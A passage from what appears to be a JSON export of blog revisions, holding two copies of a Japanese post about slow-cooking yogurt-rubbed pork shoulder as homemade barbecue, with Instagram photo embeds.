src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n","created_at":"2016-05-01T01:51:38.000Z","updated_at":"2016-05-01T01:51:38.000Z"},{"id":2947,"name":"text/バーベキュー","body":"%blog%\r\n\r\nそういうわけですから、今日はバーベキューに取り組みます。長い記事を読まない皆さんの為にとりあえず完成したものを共有したいと思います。\r\n\r\n![img](http://s.ssig33.com/a/982863e847754d90b4ddadad38e94ab1)\r\n\r\nバーベキューはゴールデンウイークの娯楽としては極めて一般的です。僕は普通の人間なのでバーベキューをします。\r\n\r\nまずはバーベキューとは何かという問題について考えていきます。最初に以下の画像をご覧ください。\r\n\r\n![img](http://s.ssig33.com/a/8dc8b6c70ef94f43acbaa61808e645ff)\r\n\r\n左は単なる外でやる焼肉、右は美味しそうな食べ物であることが一目瞭然です。我々は右を目指さなければならない。\r\n\r\nそこでいくつかバーベキューの定義を調べてみると、バーベキューラブやらなんらかのソースやらを揉み込んだ肉を長時間グリルで蒸し焼きにしたものがバーベキューであることが分かります。\r\n\r\n肉が焼き上がったあとにこれでもかというほどソースを塗るのがテキサス風というイメージが僕のなかではなんとなくありましたが、あれは焼き上がりから提供までに時間がかかるバーベキュー大会やショボいバーベキューレストランの流儀のようです。\r\n\r\nそういうわけでやっていきます。\r\n\r\n肉は西友で 1g 1 円の豚肩ロースを使います。本来は牛のブリスケットや豚のスペアリブを使うべきですが、バーベキューを初めようと思った時点で既に午後 8 時なので材料の入手には制限があります。\r\n\r\n近所の西友では 670g が一番デカいやつだったのでそれにしました。\r\n\r\n次にバーベキューラブをこれに揉み込みます。バーベキューラブは塩、砂糖、スパイスをまぜたものです。\r\n\r\nチリパウダー、にんにく、塩、砂糖、クミンあたりを適当にミックスします。これで出来がった粉をドライラブといい、ここに油、水、酢、ヨーグルトなどを混ぜたものをウェットラブというそうです。ウェットラブのほうが揉み込んでから焼くまでの時間が短くなるらしい。\r\n\r\nというわけですからとりあえずヨーグルトを適当に投入し混ぜてみます。するとよい感じになったので水や油は使わないことにします。\r\n\r\nこれを肉に揉み込むとこのようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE00s_YPxNg/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこれは気分が出てきたので急に始めたバーベキューの雄姿です、ヨーグルトラブを塗りたくってある\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T13:02:51+00:00\"\u003e2016 4月 30 6:02午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nヨーグルト、クミンが入っているせいか香りとしてはタンドリーチキンに近い生命体になっています。これをこのまま 3 時間ほど放置します。\r\n\r\nすると午前 1 時になりますからこれを蒸し焼きにしていきます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1G_30vxBo/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこのようなことが行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:42:43+00:00\"\u003e2016 4月 30 8:42午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこうして\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1HwKXPxDu/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:49:19+00:00\"\u003e2016 4月 30 8:49午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこう。下から二番目の火力でやっていきます。\r\n\r\n8 時間ぐらいは焼けばいいだろうと思いますから、これを台所に放置したら、そのまま寝ます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2BxFCvxCC/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eバーベキュー現状\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:16:15+00:00\"\u003e2016 4月 30 5:16午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n起きるとこのようになっていました。写真だと分かりづらいかもしれませんが、だいぶ縮んでます。フライパンから蒸し器を取り除くと以下のように油がたまっています。\r\n\r\n![img](http://s.ssig33.com/a/e175826e9e8a4c94af65ddf1a7149c7c)\r\n\r\n精製したらなにかに使えそうな気もしますが、ここはアメリカ風に捨てます。ペーパーに吸わせてゴミ箱に直行。\r\n\r\n肉をさらにアルミホイルで包んで、オーブントースターで 15 分ほど焼き、さらに庫内でホイルに包んだまま 10 分ほど放置します。それをまな板の上に取り出し切ろうとすると以下のようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2GLsnvxMK/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eすごい\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:54:50+00:00\"\u003e2016 4月 30 5:54午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nやわらかすぎて扱いづらいレベル。これを皿に盛り付けると、上に貼った完成図のようになります。あらためて画像をどうぞ。\r\n\r\n![img](http://s.ssig33.com/a/ac9506e3a97a47629512d2215c4d9e88)\r\n\r\n異様にやわらかく、余計な脂が落ちていて、味もしっかりしているのでこれが一瞬で消滅します。とてもよかったと思います。\r\n\r\nこれは、肉やその脂があまり好きではないという人にこそ食べてほしいものだと思いました。皮肉や冗談ではなくヘルシーな感じ。朝 10 時に食べるに適したものと言えるでしょう。\r\n\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n","created_at":"2016-05-01T01:52:19.000Z","updated_at":"2016-05-01T01:52:19.000Z"},{"id":2948,"name":"text/バーベキュー","body":"%blog%\r\n\r\nそういうわけですから、今日はバーベキューに取り組みます。長い記事を読まない皆さんの為にとりあえず完成したものを共有したいと思います。\r\n\r\n![img](http://s.ssig33.com/a/982863e847754d90b4ddadad38e94ab1)\r\n\r\nバーベキューはゴールデンウイークの娯楽としては極めて一般的です。僕は普通の人間なのでバーベキューをします。\r\n\r\nまずはバーベキューとは何かという問題について考えていきます。最初に以下の画像をご覧ください。\r\n\r\n![img](http://s.ssig33.com/a/8dc8b6c70ef94f43acbaa61808e645ff)\r\n\r\n左は単なる外でやる焼肉、右は美味しそうな食べ物であることが一目瞭然です。我々は右を目指さなければならない。\r\n\r\nそこでいくつかバーベキューの定義を調べてみると、バーベキューラブやらなんらかのソースやらを揉み込んだ肉を長時間グリルで蒸し焼きにしたものがバーベキューであることが分かります。\r\n\r\n肉が焼き上がったあとにこれでもかというほどソースを塗るのがテキサス風というイメージが僕のなかではなんとなくありましたが、あれは焼き上がりから提供までに時間がかかるバーベキュー大会やショボいバーベキューレストランの流儀のようです。\r\n\r\nそういうわけでやっていきます。\r\n\r\n肉は西友で 1g 1 円の豚肩ロースを使います。本来は牛のブリスケットや豚のスペアリブを使うべきですが、バーベキューを初めようと思った時点で既に午後 8 時なので材料の入手には制限があります。\r\n\r\n近所の西友では 670g が一番デカいやつだったのでそれにしました。\r\n\r\n次にバーベキューラブをこれに揉み込みます。バーベキューラブは塩、砂糖、スパイスをまぜたものです。\r\n\r\nチリパウダー、にんにく、塩、砂糖、クミンあたりを適当にミックスします。これで出来がった粉をドライラブといい、ここに油、水、酢、ヨーグルトなどを混ぜたものをウェットラブというそうです。ウェットラブのほうが揉み込んでから焼くまでの時間が短くなるらしい。\r\n\r\nというわけですからとりあえずヨーグルトを適当に投入し混ぜてみます。するとよい感じになったので水や油は使わないことにします。\r\n\r\nこれを肉に揉み込むとこのようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE00s_YPxNg/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこれは気分が出てきたので急に始めたバーベキューの雄姿です、ヨーグルトラブを塗りたくってある\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T13:02:51+00:00\"\u003e2016 4月 30 6:02午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nヨーグルト、クミンが入っているせいか香りとしてはタンドリーチキンに近い生命体になっています。これをこのまま 3 時間ほど放置します。\r\n\r\nすると午前 1 時になりますからこれを蒸し焼きにしていきます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1G_30vxBo/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこのようなことが行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:42:43+00:00\"\u003e2016 4月 30 8:42午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこうして\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE1HwKXPxDu/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e行われていきます\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-04-30T15:49:19+00:00\"\u003e2016 4月 30 8:49午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nこう。下から二番目の火力でやっていきます。\r\n\r\n8 時間ぐらいは焼けばいいだろうと思いますから、これを台所に放置したら、そのまま寝ます。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2BxFCvxCC/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eバーベキュー現状\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:16:15+00:00\"\u003e2016 4月 30 5:16午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\n起きるとこのようになっていました。写真だと分かりづらいかもしれませんが、だいぶ縮んでます。フライパンから蒸し器を取り除くと以下のように油がたまっています。\r\n\r\n![img](http://s.ssig33.com/a/e175826e9e8a4c94af65ddf1a7149c7c)\r\n\r\n精製したらなにかに使えそうな気もしますが、ここはアメリカ風に捨てます。ペーパーに吸わせてゴミ箱に直行。\r\n\r\n肉をさらにアルミホイルで包んで、オーブントースターで 15 分ほど焼き、さらに庫内でホイルに包んだまま 10 分ほど放置します。それをまな板の上に取り出し切ろうとすると以下のようになります。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" 